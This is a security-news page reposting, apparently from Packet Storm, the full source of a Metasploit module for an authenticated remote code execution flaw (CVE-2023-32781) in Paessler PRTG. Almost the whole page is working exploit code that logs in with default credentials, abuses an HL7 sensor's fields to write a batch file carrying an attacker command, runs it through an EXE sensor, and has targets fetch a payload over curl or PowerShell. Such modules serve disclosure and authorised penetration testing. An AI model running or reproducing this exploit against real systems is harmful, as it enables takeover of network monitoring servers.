Security
Headlines
HeadlinesLatestCVEs

Headline

PRTG Authenticated Remote Code Execution

This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG.

Packet Storm
#csrf#vulnerability#web#windows#rce#auth#ssl
class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::Retry  def initialize(info = {})    super(      update_info(        info,        'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',        'Description' => %q{          Authenticated RCE in Paessler PRTG        },        'License' => MSF_LICENSE,        'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],        'References' => [          [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],          [ 'CVE', '2023-32781']        ],        'DisclosureDate' => '2023-08-09',        'Platform' => 'win',        'Arch' => [ ARCH_X86, ARCH_X64 ],        'Targets' => [          [            'Windows_Fetch',            {              'Arch' => [ ARCH_CMD ],              'Platform' => 'win',              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },              'Type' => :win_fetch            }          ],          [            'Windows_CMDStager',            {              'Arch' => [ ARCH_X64, ARCH_X86 ],              'Platform' => 'win',              'Type' => :win_cmdstager,              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {},        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new(          'USERNAME',          [ true, 'The username to authenticate with', 'prtgadmin' ]        ),        OptString.new(          'PASSWORD',          [ true, 'The password to authenticate with', 'prtgadmin' ]        ),        OptString.new(          'TARGETURI',          [ true, 'The URI for the PRTG web interface', '/' ]        )      ]    )  end  def check    begin      res = send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['URI'], '/index.htm')      })    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError      return CheckCode::Unknown    ensure      disconnect    end    if res && res.code == 200      prtg_server_header = res.headers['Server']      if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')        return CheckCode::Detected      end    end    return CheckCode::Unknown  end  def exploit    @sensors_to_delete = []    connect    case target['Type']    when :win_cmdstager      execute_cmdstager    when :win_fetch      execute_command(payload.encoded)    end  end  def on_new_session(client)    super    @sensors_to_delete.each do |sensor_id|      delete_sensor_by_id(sensor_id)    end    print_good('Session created')  end  def execute_command(cmd, _opts = {})    print_status('Running PRTG RCE exploit')    authenticate_prtg    bat_file_name = write_bat_file_to_disk(cmd)    run_bat_file_from_disk(bat_file_name)    print_status('Exploit done')    handler  end  def authenticate_prtg    print_status('Authenticating against PRTG')    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),      'keep_cookies' => true,      'vars_post' => {        'username' => datastore['USERNAME'],        'password' => datastore['PASSWORD']      }    })    unless res      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')    end    if res && res.code == 302 && res.get_cookies      print_good('Successfully authenticated against PRTG')    else      fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')    end  end  def get_csrf_token    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'welcome.htm'),      'keep_cookies' => true    })    if res.nil? || res.body.nil?      fail_with(Failure::NoAccess, 'Page with CSRF token not available')    end    regex = /csrf-token" content="([^"]+)"/    token = res.body[regex, 1]    print_status("Extracted csrf token: #{token}")    token  end  def delete_sensor_by_id(sensor_id)    print_status("Deleting sensor #{sensor_id}")    csrf_token = get_csrf_token    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),      'keep_cookies' => true,      'headers' => {        'anti-csrf-token' => csrf_token,        'X-Requested-With' => 'XMLHttpRequest'      },      'vars_post' => {        id: sensor_id,        approve: 1      }    })    if res.nil? || res.body.nil?      fail_with(Failure::NoAccess, 'Sensor deletion failed')    end  end  def get_created_sensor_id(sensor_name)    print_status('Fetching created sensor id')    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),      'keep_cookies' => true,      'vars_get' => {        'id' => 40      }    })    if res.nil? || res.body.nil?      fail_with(Failure::NoAccess, 'Page with sensorid not available')    end    regex = /id=([0-9]+)">#{sensor_name}/    sensor_id = res.body[regex, 1]    print_status("Extracted sensor_id: #{sensor_id}")    sensor_id  end  def run_sensor_with_id(sensor_id)    csrf_token = get_csrf_token    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),      'keep_cookies' => true,      'headers' => {        'anti-csrf-token' => csrf_token,        'X-Requested-With' => 'XMLHttpRequest'      },      'vars_post' => {        id: sensor_id      }    })    if res && res.code == 200      print_good('Sensor started running')    else      fail_with(Failure::NoAccess, 'Failure to run sensor')    end  end  def write_bat_file_to_disk(cmd)    # Uses the HL7Sensor for writing a .bat file to the disk    cmd = cmd.gsub! '\\', '\\\\\\'    print_status('Writing .bat to disk')    csrf_token = get_csrf_token    # Generate a random sensor name    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)    bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"    # Clean up the .bat file    cmd = "#{cmd} & del %0"    print_status("Generated sensor_name #{sensor_name}")    print_status("Generated bat_file_name #{bat_file_name}")    params = {      'name_' => sensor_name,      'parenttags_' => '',      'tags_' => 'dicom hl7',      'priority_' => '3',      'port_' => '104',      'timeout_' => '60',      'override_' => '0',      'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),      'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),      'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),      'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",      'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",      'hl7filename' => '',      'intervalgroup' => ['0', '1'],      'interval_' => '60|60 seconds',      'errorintervalsdown_' => '1',      'inherittriggers' => '1',      'id' => '40',      'sensortype' => 'hl7',      'tmpid' => '2',      'anti-csrf-token' => csrf_token    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),      'keep_cookies' => true,      'vars_post' => params    })    unless res      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')    end    if res && res.code == 302      print_good('HL7 Sensor succesfully created')    else      fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')    end    # Actually creating the sensor can take 1-2 seconds    print_status('Checking for sensor creation')    sensor_id = retry_until_truthy(timeout: 10) do      get_created_sensor_id(sensor_name)    end    print_status('Requesting HL7 Sensor to initiate scan')    run_sensor_with_id(sensor_id)    @sensors_to_delete.push(sensor_id)    print_good('.bat file written to disk')    bat_file_name  end  def run_bat_file_from_disk(bat_file_name)    print_status("Running the .bat file: #{bat_file_name}")    csrf_token = get_csrf_token    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)    params = {      'name_' => sensor_name,      'parenttags_' => '',      'tags_' => 'exesensor',      'priority_' => '3',      'scriptplaceholdergroup' => '1',      'scriptplaceholder1description_' => '',      'scriptplaceholder1_' => '',      'scriptplaceholder2description_' => '',      'scriptplaceholder2_' => '',      'scriptplaceholder3description_' => '',      'scriptplaceholder3_' => '',      'scriptplaceholder4description_' => '',      'scriptplaceholder4_' => '',      'scriptplaceholder5description_' => '',      'scriptplaceholder5_' => '',      'exefile_' => "#{bat_file_name}|#{bat_file_name}||",      'exefilelabel' => '',      'exeparams_' => '',      'environment_' => '0',      'usewindowsauthentication_' => '0',      'mutexname_' => '',      'timeout_' => '60',      'valuetype_' => '0',      'channel_' => 'Value',      'unit_' => '#',      'monitorchange_' => '0',      'writeresult_' => '0',      'intervalgroup' => '0',      'interval_' => '43200|12 hours',      'errorintervalsdown_' => '1',      'inherittriggers' => '1',      'id' => '40',      'sensortype' => 'exe',      'tmpid' => '6',      'anti-csrf-token' => csrf_token    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),      'keep_cookies' => true,      'vars_post' => params    })    unless res      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')    end    if res && res.code == 302      print_status('EXE Script sensor created')    else      fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')    end    print_status('Checking for sensor creation')    sensor_id = retry_until_truthy(timeout: 10) do      get_created_sensor_id(sensor_name)    end    run_sensor_with_id(sensor_id)    @sensors_to_delete.push(sensor_id)    print_good('Exploit completed. Waiting for payload')  endend

Packet Storm: Latest News

Scapy Packet Manipulation Tool 2.6.1